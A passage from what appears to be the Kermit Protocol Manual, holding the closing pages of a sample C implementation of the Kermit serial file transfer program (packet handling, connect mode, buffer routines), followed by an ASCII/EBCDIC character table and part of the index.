  4916.             if (filnamcnv)              /* Convert upper case to lower */
  4917.                 for (filnam=filnam1; *filnam != '\0'; filnam++)
  4918.                     if (*filnam >= 'A' && *filnam <= 'Z')
  4919.                         *filnam |= 040;
  4920.  
  4921.             if ((fp=fopen(filnam1,"w"))==NULL) /* Try to open a new file */
  4922.             {
  4923.                 error("Cannot create %s",filnam1); /* Give up if can't */
  4924.                 return('A');
  4925.             }
  4926.             else                        /* OK, give message */
  4927.                 printmsg("Receiving %s as %s",packet,filnam1);
  4928.  
  4929.             spack('Y',n,0,0);           /* Acknowledge the file header */
  4930.             oldtry = numtry;            /* Reset try counters */
  4931.             numtry = 0;                 /* ... */
  4932.             n = (n+1)%64;               /* Bump packet number, mod 64 */
  4933.             return('D');                /* Switch to Data state */
  4934.  
  4935.         case 'B':                       /* Break transmission (EOT) */
  4936.             if (num != n) return ('A'); /* Need right packet number here */
  4937.             spack('Y',n,0,0);           /* Say OK */
  4938.             return('C');                /* Go to complete state */
  4939.  
  4940.         case 'E':                       /* Error packet received */
  4941.             prerrpkt(recpkt);           /* Print it out and */
  4942.             return('A');                /* abort */
  4943.  
  4944.         case FALSE:                     /* Didn't get packet */
  4945.             spack('N',n,0,0);           /* Return a NAK */
  4946.             return(state);              /* Keep trying */
  4947.  
  4948.         default:    return ('A');       /* Some other packet, "abort" */
  4949.     }
  4950. }
  4951. A KERMIT Program                                                        Page 80
  4952.  
  4953.  
  4954.  
  4955. /*
  4956.  *  r d a t a
  4957.  *
  4958.  *  Receive Data
  4959.  */
  4960.  
  4961. char rdata()
  4962. {
  4963.     int num, len;                       /* Packet number, length */
  4964.     if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
  4965.  
  4966.     switch(rpack(&len,&num,packet))     /* Get packet */
  4967.     {
  4968.         case 'D':                       /* Got Data packet */
  4969.             if (num != n)               /* Right packet? */
  4970.             {                           /* No */
  4971.                 if (oldtry++ > MAXTRY)
  4972.                     return('A');        /* If too many tries, abort */
  4973.                 if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
  4974.                 {                       /* Previous packet again? */
  4975.                     spack('Y',num,6,packet); /* Yes, re-ACK it */
  4976.                     numtry = 0;         /* Reset try counter */
  4977.                     return(state);      /* Don't write out data! */
  4978.                 }
  4979.                 else return('A');       /* sorry, wrong number */
  4980.             }
  4981.             /* Got data with right packet number */
  4982.             bufemp(packet,len);         /* Write the data to the file */
  4983.             spack('Y',n,0,0);           /* Acknowledge the packet */
  4984.             oldtry = numtry;            /* Reset the try counters */
  4985.             numtry = 0;                 /* ... */
  4986.             n = (n+1)%64;               /* Bump packet number, mod 64 */
  4987.             return('D');                /* Remain in data state */
  4988.  
  4989.         case 'F':                       /* Got a File Header */
  4990.             if (oldtry++ > MAXTRY)
  4991.                 return('A');            /* If too many tries, "abort" */
  4992.             if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
  4993.             {                           /* It was the previous one */
  4994.                 spack('Y',num,0,0);     /* ACK it again */
  4995.                 numtry = 0;             /* Reset try counter */
  4996.                 return(state);          /* Stay in Data state */
  4997.             }
  4998.             else return('A');           /* Not previous packet, "abort" */
  4999.  
  5000.         case 'Z':                       /* End-Of-File */
  5001.             if (num != n) return('A');  /* Must have right packet number */
  5002.             spack('Y',n,0,0);           /* OK, ACK it. */
  5003.             fclose(fp);                 /* Close the file */
  5004.             n = (n+1)%64;               /* Bump packet number */
  5005.             return('F');                /* Go back to Receive File state */
  5006.  
  5007.         case 'E':                       /* Error packet received */
  5008.             prerrpkt(recpkt);           /* Print it out and */
  5009.             return('A');                /* abort */
  5010. A KERMIT Program                                                        Page 81
  5011.  
  5012.  
  5013.  
  5014.         case FALSE:                     /* Didn't get packet */
  5015.             spack('N',n,0,0);           /* Return a NAK */
  5016.             return(state);              /* Keep trying */
  5017.  
  5018.         default:     return('A');       /* Some other packet, "abort" */
  5019.     }
  5020. }
  5021.  
  5022. /*
  5023.  *  c o n n e c t
  5024.  *
  5025.  *  Establish a virtual terminal connection with the remote host, over an
  5026.  *  assigned tty line.
  5027.  */
  5028.  
  5029. connect()
  5030. {
  5031.     int pid,                            /* Holds process id of child */
  5032.         connected;                      /* Boolean connect flag */
  5033.     char bel = '\07',
  5034.         c;
  5035.  
  5036.     struct sgttyb
  5037.         rawmode,                        /* Controlling tty raw mode */
  5038.         cookedmode;                     /* Controlling tty cooked mode */
  5039.  
  5040.     if (remote)                         /* Nothing to connect to in remote */
  5041.     {                                   /* mode, so just return */
  5042.         printmsg("No line specified for connection.");
  5043.         return;
  5044.     }
  5045.  
  5046.     gtty(0,&cookedmode);                /* Save current mode so we can */
  5047.     gtty(0,&rawmode);                   /* restore it later */
  5048.     rawmode.sg_flags |= (RAW|TANDEM);
  5049.     rawmode.sg_flags &= ~(ECHO|CRMOD);
  5050.     stty(0,&rawmode);                   /* Put tty in raw mode */
  5051.  
  5052.     pid = fork();           /* Start fork to get typeout from remote host */
  5053. A KERMIT Program                                                        Page 82
  5054.  
  5055.  
  5056.  
  5057.     if (pid)                        /* Parent: send type-in to remote host */
  5058.     {
  5059.         printmsg("connected...\r");
  5060.         connected = TRUE;               /* Put us in "connect mode" */
  5061.         while (connected)
  5062.         {
  5063.             read(0,&c,1);               /* Get a character */
  5064.             if ((c&0177) == escchr)     /* Check for escape character */
  5065.             {
  5066.                 read(0,&c,1);
  5067.                 if ((c&0177) == escchr)
  5068.                     write(ttyfd,&c,1);
  5069.                 else
  5070.                 switch (c&0177)
  5071.                 {
  5072.                     case 'c':
  5073.                     case 'C':
  5074.                         connected = FALSE;
  5075.                         write(0,"\r\n",2);
  5076.                         break;
  5077.  
  5078.                     case 'h':
  5079.                     case 'H':
  5080.                         write(0,"\r\nYes, I'm still here...\r\n",26);
  5081.                         break;
  5082.                     default:
  5083.                         write(0,&bel,1);
  5084.                         break;
  5085.                 }
  5086.             }
  5087.             else
  5088.             {                           /* If not escape charater, */
  5089.                 write(ttyfd,&c,1);      /* write it out */
  5090.                 c = NULL;               /* Nullify it (why?) */
  5091.             }
  5092.         }
  5093.         kill(pid,9);                    /* Done, kill the child */
  5094.         wait(0);                        /* and bury him */
  5095.         stty(0,&cookedmode);            /* Restore tty mode */
  5096.         printmsg("disconnected.");
  5097.         return;                         /* Done */
  5098.     }
  5099.     else                  /* Child does the reading from the remote host */
  5100.     {
  5101.         while(1)                        /* Do this forever */
  5102.         {
  5103.             read(ttyfd,&c,1);
  5104.             write(1,&c,1);
  5105.         }
  5106.     }
  5107. }
  5108. A KERMIT Program                                                        Page 83
  5109.  
  5110.  
  5111.  
  5112. /*
  5113.  *      KERMIT utilities.
  5114.  */
  5115.  
  5116. clkint()                                /* Timer interrupt handler */
  5117. {
  5118.     longjmp(env,TRUE);                  /* Tell rpack to give up */
  5119. }
  5120.  
  5121.  
  5122. /*
  5123.  *  s p a c k
  5124.  *
  5125.  *  Send a Packet
  5126.  */
  5127.  
  5128. spack(type,num,len,data)
  5129. char type, *data;
  5130. int num, len;
  5131. {
  5132.     int i;                              /* Character loop counter */
  5133.     char chksum, buffer[100];           /* Checksum, packet buffer */
  5134.     register char *bufp;                /* Buffer pointer */
  5135.  
  5136.     if (debug>1)                        /* Display outgoing packet */
  5137.     {
  5138.         if (data != NULL)
  5139.             data[len] = '\0';           /* Null-terminate data to print it */
  5140.         printf("  spack type: %c\n",type);
  5141.         printf("         num:  %d\n",num);
  5142.         printf("         len:  %d\n",len);
  5143.         if (data != NULL)
  5144.             printf("        data: \"%s\"\n",data);
  5145.     }
  5146.  
  5147.     bufp = buffer;                      /* Set up buffer pointer */
  5148.     for (i=1; i<=pad; i++) write(ttyfd,&padchar,1); /* Issue any padding */
  5149.  
  5150.     *bufp++ = SOH;                      /* Packet marker, ASCII 1 (SOH) */
  5151.     *bufp++ = tochar(len+3);            /* Send the character count */
  5152.     chksum  = tochar(len+3);            /* Initialize the checksum */
  5153.     *bufp++ = tochar(num);              /* Packet number */
  5154.     chksum += tochar(num);              /* Update checksum */
  5155.     *bufp++ = type;                     /* Packet type */
  5156.     chksum += type;                     /* Update checksum */
  5157. A KERMIT Program                                                        Page 84
  5158.  
  5159.  
  5160.  
  5161.     for (i=0; i<len; i++)               /* Loop for all data characters */
  5162.     {
  5163.         *bufp++ = data[i];              /* Get a character */
  5164.         chksum += data[i];              /* Update checksum */
  5165.     }
  5166.     chksum = (((chksum&0300) >> 6)+chksum)&077; /* Compute final checksum */
  5167.     *bufp++ = tochar(chksum);           /* Put it in the packet */
  5168.     *bufp = eol;                        /* Extra-packet line terminator */
  5169.     write(ttyfd, buffer,bufp-buffer+1); /* Send the packet */
  5170. }
  5171.  
  5172. /*
  5173.  *  r p a c k
  5174.  *
  5175.  *  Read a Packet
  5176.  */
  5177.  
  5178. rpack(len,num,data)
  5179. int *len, *num;                         /* Packet length, number */
  5180. char *data;                             /* Packet data */
  5181. {
  5182.     int i, done;                        /* Data character number, loop exit */
  5183.     char t,                             /* Current input character */
  5184.         type,                           /* Packet type */
  5185.         cchksum,                        /* Our (computed) checksum */
  5186.         rchksum;                        /* Checksum received from other host */
  5187.  
  5188. #if UCB4X                               /* TOPS-20 can't handle timeouts... */
  5189.     if (setjmp(env)) return FALSE;      /* Timed out, fail */
  5190.     signal(SIGALRM,clkint);             /* Setup the timeout */
  5191.     if ((timint > MAXTIM) || (timint < MINTIM)) timint = MYTIME;
  5192.     alarm(timint);
  5193. #endif /* UCB4X */
  5194.  
  5195.     while (t != SOH)                    /* Wait for packet header */
  5196.     {
  5197.         read(ttyfd,&t,1);
  5198.         t &= 0177;                      /* Handle parity */
  5199.     }
  5200.  
  5201.     done = FALSE;                       /* Got SOH, init loop */
  5202.     while (!done)                       /* Loop to get a packet */
  5203.     {
  5204.         read(ttyfd,&t,1);               /* Get character */
  5205.         if (!image) t &= 0177;          /* Handle parity */
  5206.         if (t == SOH) continue;         /* Resynchronize if SOH */
  5207.         cchksum = t;                    /* Start the checksum */
  5208.         *len = unchar(t)-3;             /* Character count */
  5209.  
  5210.         read(ttyfd,&t,1);               /* Get character */
  5211.         if (!image) t &= 0177;          /* Handle parity */
  5212.         if (t == SOH) continue;         /* Resynchronize if SOH */
  5213.         cchksum = cchksum + t;          /* Update checksum */
  5214.         *num = unchar(t);               /* Packet number */
  5215. A KERMIT Program                                                        Page 85
  5216.  
  5217.  
  5218.  
  5219.         read(ttyfd,&t,1);               /* Get character */
  5220.         if (!image) t &= 0177;          /* Handle parity */
  5221.         if (t == SOH) continue;         /* Resynchronize if SOH */
  5222.         cchksum = cchksum + t;          /* Update checksum */
  5223.         type = t;                       /* Packet type */
  5224.  
  5225.         for (i=0; i<*len; i++)          /* The data itself, if any */
  5226.         {                               /* Loop for character count */
  5227.             read(ttyfd,&t,1);           /* Get character */
  5228.             if (!image) t &= 0177;      /* Handle parity */
  5229.             if (t == SOH) continue;     /* Resynch if SOH */
  5230.             cchksum = cchksum + t;      /* Update checksum */
  5231.             data[i] = t;                /* Put it in the data buffer */
  5232.         }
  5233.         data[*len] = 0;                 /* Mark the end of the data */
  5234.  
  5235.         read(ttyfd,&t,1);               /* Get last character (checksum) */
  5236.         rchksum = unchar(t);            /* Convert to numeric */
  5237.         read(ttyfd,&t,1);               /* get EOL character and toss it */
  5238.         if (!image) t &= 0177;          /* Handle parity */
  5239.         if (t == SOH) continue;         /* Resynchronize if SOH */
  5240.         done = TRUE;                    /* Got checksum, done */
  5241.     }
  5242.  
  5243. #if UCB4X
  5244.     alarm(0);                           /* Disable the timer interrupt */
  5245. #endif
  5246.  
  5247.     if (debug>1)                        /* Display incoming packet */
  5248.     {
  5249.         if (data != NULL)
  5250.             data[*len] = '\0';          /* Null-terminate data to print it */
  5251.         printf("  rpack type: %c\n",type);
  5252.         printf("         num:  %d\n",*num);
  5253.         printf("         len:  %d\n",*len);
  5254.         if (data != NULL)
  5255.             printf("        data: \"%s\"\n",data);
  5256.     }
  5257.                                         /* Fold in bits 7,8 to compute */
  5258.     cchksum = (((cchksum&0300) >> 6)+cchksum)&077; /* final checksum */
  5259.  
  5260.     if (cchksum != rchksum) return(FALSE);
  5261.  
  5262.     return(type);                       /* All OK, return packet type */
  5263. }
  5264.  
  5265.  
  5266. /*
  5267.  *  b u f i l l
  5268.  *
  5269.  *  Get a bufferful of data from the file that's being sent.
  5270.  *  Only control-quoting is done; 8-bit & repeat count prefixes are
  5271.  *  not handled.
  5272.  */
  5273. A KERMIT Program                                                        Page 86
  5274.  
  5275.  
  5276.  
  5277. bufill(buffer)
  5278. char buffer[];                          /* Buffer */
  5279. {
  5280.     int i,                              /* Loop index */
  5281.         t;                              /* Char read from file */
  5282.     char t7;                            /* 7-bit version of above */
  5283.  
  5284.     i = 0;                              /* Init data buffer pointer */
  5285.     while((t = getc(fp)) != EOF)        /* Get the next character */
  5286.     {
  5287.         t7 = t & 0177;                  /* Get low order 7 bits */
  5288.  
  5289.         if (t7 < SP || t7==DEL || t7==quote) /* Does this char require */
  5290.         {                                   /* special handling? */
  5291.             if (t=='\n' && !image)
  5292.             {                           /* Do LF->CRLF mapping if !image */
  5293.                 buffer[i++] = quote;
  5294.                 buffer[i++] = ctl('\r');
  5295.             }
  5296.             buffer[i++] = quote;        /* Quote the character */
  5297.             if (t7 != quote)
  5298.             {
  5299.                 t = ctl(t);             /* and uncontrolify */
  5300.                 t7 = ctl(t7);
  5301.             }
  5302.         }
  5303.         if (image)
  5304.             buffer[i++] = t;            /* Deposit the character itself */
  5305.         else
  5306.             buffer[i++] = t7;
  5307.  
  5308.         if (i >= spsiz-8) return(i);    /* Check length */
  5309.     }
  5310.     if (i==0) return(EOF);              /* Wind up here only on EOF */
  5311.     return(i);                          /* Handle partial buffer */
  5312. }
  5313.  
  5314.  
  5315. /*
  5316.  *      b u f e m p
  5317.  *
  5318.  *  Put data from an incoming packet into a file.
  5319.  */
  5320.  
  5321. bufemp(buffer,len)
  5322. char  buffer[];                         /* Buffer */
  5323. int   len;                              /* Length */
  5324. {
  5325.     int i;                              /* Counter */
  5326.     char t;                             /* Character holder */
  5327. A KERMIT Program                                                        Page 87
  5328.  
  5329.  
  5330.  
  5331.     for (i=0; i<len; i++)               /* Loop thru the data field */
  5332.     {
  5333.         t = buffer[i];                  /* Get character */
  5334.         if (t == MYQUOTE)               /* Control quote? */
  5335.         {                               /* Yes */
  5336.             t = buffer[++i];            /* Get the quoted character */
  5337.             if ((t & 0177) != MYQUOTE)  /* Low order bits match quote char? */
  5338.                 t = ctl(t);             /* No, uncontrollify it */
  5339.         }
  5340.         if (t==CR && !image)            /* Don't pass CR if in image mode */
  5341.             continue;
  5342.  
  5343.         putc(t,fp);
  5344.     }
  5345. }
  5346.  
  5347.  
  5348. /*
  5349.  *  g n x t f l
  5350.  *
  5351.  *  Get next file in a file group
  5352.  */
  5353.  
  5354. gnxtfl()
  5355. {
  5356.     if (debug) printf("   gnxtfl: filelist = \"%s\"\n",*filelist);
  5357.     filnam = *(filelist++);
  5358.     if (filecount-- == 0) return FALSE; /* If no more, fail */
  5359.     else return TRUE;                   /* else succeed */
  5360. }
  5361.  
  5362.  
  5363. /*
  5364.  *  s p a r
  5365.  *
  5366.  *  Fill the data array with my send-init parameters
  5367.  *
  5368.  */
  5369.  
  5370. spar(data)
  5371. char data[];
  5372. {
  5373.     data[0] = tochar(MAXPACKSIZ);          /* Biggest packet I can receive */
  5374.     data[1] = tochar(MYTIME);           /* When I want to be timed out */
  5375.     data[2] = tochar(MYPAD);            /* How much padding I need */
  5376.     data[3] = ctl(MYPCHAR);             /* Padding character I want */
  5377.     data[4] = tochar(MYEOL);            /* End-Of-Line character I want */
  5378.     data[5] = MYQUOTE;                  /* Control-Quote character I send */
  5379. }
  5380. A KERMIT Program                                                        Page 88
  5381.  
  5382.  
  5383.  
  5384. /*  r p a r
  5385.  *
  5386.  *  Get the other host's send-init parameters
  5387.  *
  5388.  */
  5389.  
  5390. rpar(data)
  5391. char data[];
  5392. {
  5393.     spsiz = unchar(data[0]);            /* Maximum send packet size */
  5394.     timint = unchar(data[1]);           /* When I should time out */
  5395.     pad = unchar(data[2]);              /* Number of pads to send */
  5396.     padchar = ctl(data[3]);             /* Padding character to send */
  5397.     eol = unchar(data[4]);              /* EOL character I must send */
  5398.     quote = data[5];                    /* Incoming data quote character */
  5399. }
  5400.  
  5401.  
  5402. /*
  5403.  *  f l u s h i n p u t
  5404.  *
  5405.  *  Dump all pending input to clear stacked up NACK's.
  5406.  *  (Implemented only for Berkeley Unix at this time).
  5407.  */
  5408.  
  5409. #if UCB4X&(~NO_FIONREAD)
  5410. flushinput()
  5411. {
  5412.     long int count;                     /* Number of bytes ready to read */
  5413.     long int i;                         /* Number of bytes to read in loop */
  5414.  
  5415.     ioctl(ttyfd, FIONREAD, &count);     /* See how many bytes pending read */
  5416.     if (!count) return;                 /* If zero, then no input to flush */
  5417.  
  5418.     while (count)                       /* Loop till all are flushed */
  5419.     {
  5420.         i = (count<sizeof(recpkt)) ?    /* Read min of count and size of */
  5421.             count : sizeof(recpkt);     /*  the read buffer */
  5422.         read(ttyfd, recpkt, i);         /* Read a bunch */
  5423.         count -= i;                     /* Subtract from amount to read */
  5424.     }
  5425. }
  5426. #else
  5427. flushinput()            /* Null version for non-Berkeley Unix */
  5428. {}
  5429. #endif /* UCB4X&(~FIONREAD) */
  5430. A KERMIT Program                                                        Page 89
  5431.  
  5432.  
  5433.  
  5434. /*
  5435.  *  Kermit printing routines:
  5436.  *
  5437.  *  usage - print command line options showing proper syntax
  5438.  *  printmsg -  like printf with "Kermit: " prepended
  5439.  *  error - like printmsg if local kermit; sends a error packet if remote
  5440.  *  prerrpkt - print contents of error packet received from remote host
  5441.  */
  5442.  
  5443. /*
  5444.  *  u s a g e
  5445.  *
  5446.  *  Print summary of usage info and quit
  5447.  */
  5448.  
  5449. usage()
  5450. {
  5451. #if UCB4X
  5452.     printf("Usage: kermit c[lbe line baud esc.char]      (connect mode)\n");
  5453.     printf("or:    kermit s[diflb line baud] file ...    (send mode)\n");
  5454.     printf("or:    kermit r[diflb line baud]             (receive mode)\n");
  5455. #else
  5456.     printf("Usage: kermit c[le line esc.char]            (connect mode)\n");
  5457.     printf("or:    kermit s[difl line] file ...          (send mode)\n");
  5458.     printf("or:    kermit r[difl line]                   (receive mode)\n");
  5459. #endif
  5460.     exit(1);
  5461. }
  5462.  
  5463. /*
  5464.  *  p r i n t m s g
  5465.  *
  5466.  *  Print message on standard output if not remote.
  5467.  */
  5468.  
  5469. /*VARARGS1*/
  5470. printmsg(fmt, a1, a2, a3, a4, a5)
  5471. char *fmt;
  5472. {
  5473.     if (!remote)
  5474.     {
  5475.         printf("Kermit: ");
  5476.         printf(fmt,a1,a2,a3,a4,a5);
  5477.         printf("\n");
  5478.         fflush(stdout);                 /* force output (UTS needs it) */
  5479.     }
  5480. }
  5481. A KERMIT Program                                                        Page 90
  5482.  
  5483.  
  5484.  
  5485. /*
  5486.  *  e r r o r
  5487.  *
  5488.  *  Print error message.
  5489.  *
  5490.  *  If local, print error message with printmsg.
  5491.  *  If remote, send an error packet with the message.
  5492.  */
  5493.  
  5494. /*VARARGS1*/
  5495. error(fmt, a1, a2, a3, a4, a5)
  5496. char *fmt;
  5497. {
  5498.     char msg[80];
  5499.     int len;
  5500.  
  5501.     if (remote)
  5502.     {
  5503.         sprintf(msg,fmt,a1,a2,a3,a4,a5); /* Make it a string */
  5504.         len = strlen(msg);
  5505.         spack('E',n,len,msg);           /* Send the error packet */
  5506.     }
  5507.     else
  5508.         printmsg(fmt, a1, a2, a3, a4, a5);
  5509.  
  5510.     return;
  5511. }
  5512.  
  5513. /*
  5514.  *  p r e r r p k t
  5515.  *
  5516.  *  Print contents of error packet received from remote host.
  5517.  */
  5518. prerrpkt(msg)
  5519. char *msg;
  5520. {
  5521.     printf("Kermit aborting with following error from remote host:\n%s\n",msg);
  5522.     return;
  5523. }
  5524. The ASCII Character Set                                                 Page 91
  5525.  
  5526.  
  5527. V. The ASCII Character Set
  5528.  
  5529. ASCII Code (ANSI X3.4-1968)
  5530.  
  5531. There  are 128 characters in the ASCII (American national Standard Code for In-
  5532. formation Interchange) "alphabet".  The characters are listed in order of ASCII
  5533. value; the columns are labeled as follows:
  5534.  
  5535. Bit             Even parity bit for ASCII character.
  5536. ASCII Dec       Decimal (base 10) representation.
  5537. ASCII Oct       Octal (base 8) representation.
  5538. ASCII Hex       Hexadecimal (base 16) representation.
  5539. EBCDIC Hex      EBCDIC hexadecimal equivalent for Kermit translate tables.
  5540. Char            Name or graphical representation of character.
  5541. Remark          Description of character.
  5542.  
  5543. The first group consists of nonprintable 'control' characters:
  5544.  
  5545.  
  5546.      .....ASCII.... EBCDIC
  5547. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5548.  0   000   000   00   00    NUL   , Null, Idle
  5549.  1   001   001   01   01    SOH   ?A, Start of heading
  5550.  1   002   002   02   02    STX   ?B, Start of text
  5551.  0   003   003   03   03    ETX   ?C, End of text
  5552.  1   004   004   04   37    EOT   ?D, End of transmission
  5553.  0   005   005   05   2D    ENQ   ?E, Enquiry
  5554.  0   006   006   06   2E    ACK   ?F, Acknowledge
  5555.  1   007   007   07   2F    BEL   ?G, Bell, beep, or fleep
  5556.  1   008   010   08   16    BS    ?H, Backspace
  5557.  0   009   011   09   05    HT    I, Horizontal tab
  5558.  0   010   012   0A   25    LF    ?J, Line feed
  5559.  1   011   013   0B   0B    VT    ?K, Vertical tab
  5560.  0   012   014   0C   0C    FF    ?L, Form feed (top of page)
  5561.  1   013   015   0D   0D    CR    ?M, Carriage return
  5562.  1   014   016   0E   0E    SO    ?N, Shift out
  5563.  0   015   017   0F   0F    SI    ?O, Shift in
  5564.  1   016   020   10   10    DLE   ?P, Data link escape
  5565.  0   017   021   11   11    DC1   ?Q, Device control 1, XON
  5566.  0   018   022   12   12    DC2   ?R, Device control 2
  5567.  1   019   023   13   13    DC3   ?S, Device control 3, XOFF
  5568.  0   020   024   14   3C    DC4   ?T, Device control 4
  5569.  1   021   025   15   3D    NAK   ?U, Negative acknowledge
  5570.  1   022   026   16   32    SYN   ?V, Synchronous idle
  5571.  0   023   027   17   26    ETB   ?W, End of transmission block
  5572.  0   024   030   18   18    CAN   ?X, Cancel
  5573.  1   025   031   19   19    EM    ?Y, End of medium
  5574.  1   026   032   1A   3F    SUB   ?Z, Substitute
  5575.  0   027   033   1B   27    ESC   ?[, Escape, prefix, altmode
  5576.  1   028   034   1C   1C    FS    ?\, File separator
  5577.  0   029   035   1D   1D    GS    ?], Group separator
  5578.  0   030   036   1E   1E    RS    ~, Record separator
  5579.  1   031   037   1F   1F    US     Unit separator
  5580.  
  5581. The last four are usually associated with the  control  version  of  backslash,
  5582. right  square  bracket,  uparrow (or circumflex), and underscore, respectively,
  5583. The ASCII Character Set                                                 Page 92
  5584.  
  5585.  
  5586. but some terminals do not transmit these control characters.
  5587. The following characters are printable:
  5588.  
  5589. First, some punctuation characters.
  5590.  
  5591.      .....ASCII.... EBCDIC
  5592. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5593.  1   032   040   20   40    SP    Space, blank
  5594.  0   033   041   21   5A    !     Exclamation mark
  5595.  0   034   042   22   7F    "     Doublequote
  5596.  1   035   043   23   7B    #     Number sign, pound sign
  5597.  0   036   044   24   5B    $     Dollar sign
  5598.  1   037   045   25   6C    %     Percent sign
  5599.  1   038   046   26   50    &     Ampersand
  5600.  0   039   047   27   7D    '     Apostrophe, accent acute
  5601.  0   040   050   28   4D    (     Left parenthesis
  5602.  1   041   051   29   5D    )     Right parenthesis
  5603.  1   042   052   2A   5C    *     Asterisk, star
  5604.  0   043   053   2B   4E    +     Plus sign
  5605.  1   044   054   2C   6B    ,     Comma
  5606.  0   045   055   2D   60    -     Dash, hyphen, minus sign
  5607.  0   046   056   2E   4B    .     Period, dot
  5608.  1   047   057   2F   61    /     Slash
  5609.  
  5610. Numeric characters:
  5611.  
  5612.      .....ASCII.... EBCDIC
  5613. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5614.  0   048   060   30   F0    0     Zero
  5615.  1   049   061   31   F1    1     One
  5616.  1   050   062   32   F2    2     Two
  5617.  0   051   063   33   F3    3     Three
  5618.  1   052   064   34   F4    4     Four
  5619.  0   053   065   35   F5    5     Five
  5620.  0   054   066   36   F6    6     Six
  5621.  1   055   067   37   F7    7     Seven
  5622.  1   056   070   38   F8    8     Eight
  5623.  0   057   071   39   F9    9     Nine
  5624.  
  5625. More punctuation characters:
  5626.  
  5627.      .....ASCII.... EBCDIC
  5628. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5629.  0   058   072   3A   7A    :     Colon
  5630.  1   059   073   3B   5E    ;     Semicolon
  5631.  0   060   074   3C   4C    <     Left angle bracket
  5632.  1   061   075   3D   7E    =     Equal sign
  5633.  1   062   076   3E   6E    >     Right angle bracket
  5634.  0   063   077   3F   6F    ?     Question mark
  5635.  1   064   100   40   7C    @     "At" sign
  5636. The ASCII Character Set                                                 Page 93
  5637.  
  5638.  
  5639. Upper-case alphabetic characters (letters):
  5640.  
  5641.      .....ASCII.... EBCDIC
  5642. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5643.  0   065   101   41   C1    A
  5644.  0   066   102   42   C2    B
  5645.  1   067   103   43   C3    C
  5646.  0   068   104   44   C4    D
  5647.  1   069   105   45   C5    E
  5648.  1   070   106   46   C6    F
  5649.  0   071   107   47   C7    G
  5650.  0   072   110   48   C8    H
  5651.  1   073   111   49   C9    I
  5652.  1   074   112   4A   D1    J
  5653.  0   075   113   4B   D2    K
  5654.  1   076   114   4C   D3    L
  5655.  0   077   115   4D   D4    M
  5656.  0   078   116   4E   D5    N
  5657.  1   079   117   4F   D6    O
  5658.  0   080   120   50   D7    P
  5659.  1   081   121   51   D8    Q
  5660.  1   082   122   52   D9    R
  5661.  0   083   123   53   E2    S
  5662.  1   084   124   54   E3    T
  5663.  0   085   125   55   E4    U
  5664.  0   086   126   56   E5    V
  5665.  1   087   127   57   E6    W
  5666.  1   088   130   58   E7    X
  5667.  0   089   131   59   E8    Y
  5668.  0   090   132   5A   E9    Z
  5669.  
  5670. More punctuation characters:
  5671.  
  5672.      .....ASCII.... EBCDIC
  5673. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5674.  1   091   133   5B   AD    [     Left square bracket
  5675.  0   092   134   5C   E0    \     Backslash
  5676.  1   093   135   5D   BD    ]     Right square bracket
  5677.  1   094   136   5E   5F    ?     Circumflex, up arrow
  5678.  0   095   137   5F   6D    _     Underscore, left arrow
  5679.  0   096   140   60   79    `     Accent grave
  5680. The ASCII Character Set                                                 Page 94
  5681.  
  5682.  
  5683. Lower-case alphabetic characters (letters):
  5684.  
  5685.      .....ASCII.... EBCDIC
  5686. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5687.  1   097   141   61   81    a
  5688.  1   098   142   62   82    b
  5689.  0   099   143   63   83    c
  5690.  1   100   144   64   84    d
  5691.  0   101   145   65   85    e
  5692.  0   102   146   66   86    f
  5693.  1   103   147   67   87    g
  5694.  1   104   150   68   88    h
  5695.  0   105   151   69   89    i
  5696.  0   106   152   6A   91    j
  5697.  1   107   153   6B   92    k
  5698.  0   108   154   6C   93    l
  5699.  1   109   155   6D   94    m
  5700.  1   110   156   6E   95    n
  5701.  0   111   157   6F   96    o
  5702.  1   112   160   70   97    p
  5703.  0   113   161   71   98    q
  5704.  0   114   162   72   99    r
  5705.  1   115   163   73   A2    s
  5706.  0   116   164   74   A3    t
  5707.  1   117   165   75   A4    u
  5708.  1   118   166   76   A5    v
  5709.  0   119   167   77   A6    w
  5710.  0   120   170   78   A7    x
  5711.  1   121   171   79   A8    y
  5712.  1   122   172   7A   A9    z
  5713.  
  5714. More punctuation characters:
  5715.  
  5716.      .....ASCII.... EBCDIC
  5717. Bit  Dec   Oct  Hex  Hex    Char  Remarks
  5718.  0   123   173   7B   C0     {    Left brace (curly bracket)
  5719.  1   124   174   7C   4F     |    Vertical bar
  5720.  0   125   175   7D   D0     }    Right brace (curly bracket)
  5721.  0   126   176   7E   7E     ~    Tilde
  5722.  
  5723.  
  5724. Finally, one more nonprintable character:
  5725.  
  5726.  0    127   177  7F   07    DEL   Delete, rubout
  5727. Index                                                                   Page 95
  5728.  
  5729.  
  5730. Index
  5731.  
  5732.  
  5733.           8th Bit   5, 27                           NAK   7, 36
  5734.                                                     Normal Form for File Names
  5735.           ACK   7
  5736.           ASCII   6, 10, 91                         Packet   7, 20
  5737.                                                     Parity   22, 26, 91
  5738.           Baud   8                                  Prefix   27, 30
  5739.           Binary Files   9, 10                      Prefixed Sequence   28
  5740.           Binary Mode   8                           Printable Files   10
  5741.           Bit Positions   5                         Program, Kermit   56, 65
  5742.           Block Check   21, 22                      Protocol   3
  5743.           Bootstrap   59
  5744.           BREAK   55                                Raw Mode   8
  5745.                                                     Records   10
  5746.           Capabilies   25                           Remote   5, 8
  5747.           CAPAS   25                                Repeat Prefix   27
  5748.           Char(x)   6                               Reserved Fields   25
  5749.           Checksum   21
  5750.           Control Character   6                     Send-Init   23
  5751.           Control Characters   20, 91               Sequence Number   12
  5752.           Control Fields   22                       Sequential Files   3
  5753.           Ctl(x)   6                                Server   5
  5754.                                                     Server Command Wait   28
  5755.           Data Encoding   22                        Server Commands   32
  5756.           DEFINE   53                               Server Operation   28
  5757.           Duplex   8                                Short Reply   31
  5758.                                                     SOH   8
  5759.           EBCDIC   8, 10, 91
  5760.           Edit Number   58                          Tab Expansion   10
  5761.           Encoding   27, 30                         Text Files   10
  5762.           End-Of-Line (EOL)   8, 21                 Timeout   7
  5763.           Errors   14                               Transaction   12
  5764.                                                     Transaction Log   16
  5765.           Fatal Errors   14                         TTY   5
